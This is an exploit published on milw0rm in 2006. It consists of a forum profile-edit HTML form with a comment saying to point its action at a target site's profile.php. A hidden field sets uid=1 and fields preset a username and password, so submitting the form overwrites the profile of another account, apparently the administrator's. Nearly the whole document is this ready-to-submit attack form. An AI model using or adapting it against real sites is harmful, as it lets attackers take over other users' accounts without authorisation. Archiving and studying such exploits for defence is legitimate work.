<!--
Change action="http://profile.php" under the <form tags> /str0ke
-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><META http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body><form enctype="multipart/form-data" action="http://profile.php" method="POST" target="_blank" onsubmit="return window.confirm(&quot;You are submitting information to an external page.\nAre you sure?&quot;);">
<table cellspacing="1" cellpadding="2" border="0" width="100%">
<th colspan="4" bgcolor="#003366">
<b><span><font color="#FFbb33">Profile</font></span></b>
</th>

<tr>
  <td bgcolor="#888888" valign="top" width="20%">
   <b>User Name</b>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">

   ajann  </td>
</tr> <tr>
  <td bgcolor="#888888" valign="top" width="20%">
   <b>Membership Number</b>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
   247  </td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top" width="20%">
   <b>First Registered</b>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
   Sat 03 Jun 2006 at 09:20:14 pm  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top" width="20%">

   <b>Last Login</b>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
   Sat 03 Jun 2006 at 09:21:45 pm  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top" width="20%">
   <b>Number of posts</b>

  </td>
  <td bgcolor="#BBBBBB" colspan="3">
   0  </td>
</tr>

<tr>
  <td bgcolor="#888888" valign="top" width="20%">
   <b>Status</b>
  </td>

  <td bgcolor="#BBBBBB" colspan="3">
   Member  </td>
</tr>

<th colspan="4" bgcolor="#003366">
<b><span><font color="#FFbb33">Entries marked with a * are 
required</font></span></b>
</th>
<tr>
  <td bgcolor="#888888" valign="top" width="20%">
<b>User Name</b> <font color="#ff0000">*</font>

  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="rname" value="ajann">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
   <b>Your Name</b>  </td>
  <td bgcolor="#BBBBBB" colspan="3">

   <input size="30" name="realname" value="ajann">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top" width="20%">
<b>Password</b> <font color="#ff0000">*</font>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input type="password" size="30" name="pass" value="8ebOZmF5pe">

  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
<b>Confirm Password</b> <font color="#ff0000">*</font>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input type="password" size="30" name="cpass" value="8ebOZmF5pe">
  </td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top">
<b>E-mail</b> <font color="#ff0000">*</font>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="fmail" value="">
Hide Email Address?  <input type="radio" name="priv" value="yes">Yes
<input type="radio" name="priv" value="no" checked>No
  </td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Prefered Language  </td>
  <td bgcolor="#BBBBBB" colspan="3">
    <select name="newlang">
       <option value="dutch.flf">dutch</option>       <option value="english.flf" selected>english</option>   </select>
  </td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top">
    Homepage  </td>
  <td bgcolor="#BBBBBB" colspan="3">
   <input size="30" name="www" value="">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">

ICQ  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="icq" value="">
  </td>
<tr>
  <td bgcolor="#888888" valign="top">
AOL Instant Messenger (AIM)  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="aim" value="">
  </td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Yahoo Instant Messenger (YIM)  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="yim" value="">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Location<font color="#ff0000">*</font>  </td>

  <td bgcolor="#BBBBBB" colspan="3">
<input size="30" name="location" value="asdsadasdasd">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Hobbies/Interests  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="90" name="interebbies" value="">
  </td>
</tr>

<tr>
  <td bgcolor="#888888" valign="top">
Gender (M/F)  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input size="1" name="sex" value="">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Date of Birth  </td>

  <td bgcolor="#BBBBBB" colspan="3">
<select name="dobday">
<option selected>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>

<option>8</option>
<option>9</option>
<option>10</option>
<option>11</option>
<option>12</option>
<option>13</option>
<option>14</option>
<option>15</option>
<option>16</option>

<option>17</option>
<option>18</option>
<option>19</option>
<option>20</option>
<option>21</option>
<option>22</option>
<option>23</option>
<option>24</option>
<option>25</option>

<option>26</option>
<option>27</option>
<option>28</option>
<option>29</option>
<option>30</option>
<option>31</option>
</select>
<select name="dobmonth">
<option value="1" selected>January</option>
<option value="2">February</option>

<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>

<option value="12">December</option>
</select>
<input size="4" name="dobyear" value="">
  </td>
</tr>

<tr>
  <td bgcolor="#888888" valign="top">
Signature (&lt; 100 characters)  </td>
  <td bgcolor="#BBBBBB" colspan="3">

<textarea name="sig" rows="3" cols="35">   &lt;/textarea&gt;
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Use an Avatar ?  </td>
  <td bgcolor="#BBBBBB">
Current Avatar - <input type="hidden" name="avatar" value="No Avatar">

No Avatar   
<input type="submit" name="action" value="Select Avatar"></td>

</tr>
<tr>
  <td bgcolor="#888888" valign="top">
Upload Avatar ?<br>(GIF, JPG or PNG only)  </td>
  <td bgcolor="#BBBBBB">
<input type="FILE" name="userfile" size="35">
<input type="hidden" name="MAX_FILE_SIZE" value="5242880">
  </td>
</tr>
<tr>
  <td bgcolor="#888888" valign="top">

<b>Submit</b>
  </td>
  <td bgcolor="#BBBBBB" colspan="3">
<input type="hidden" name="uid" value="1">
<input type="submit" name="action" value="Edit Profile">
  </td>
</tr>
</tr></table></form>

</body></html>

# milw0rm.com [2006-06-04]
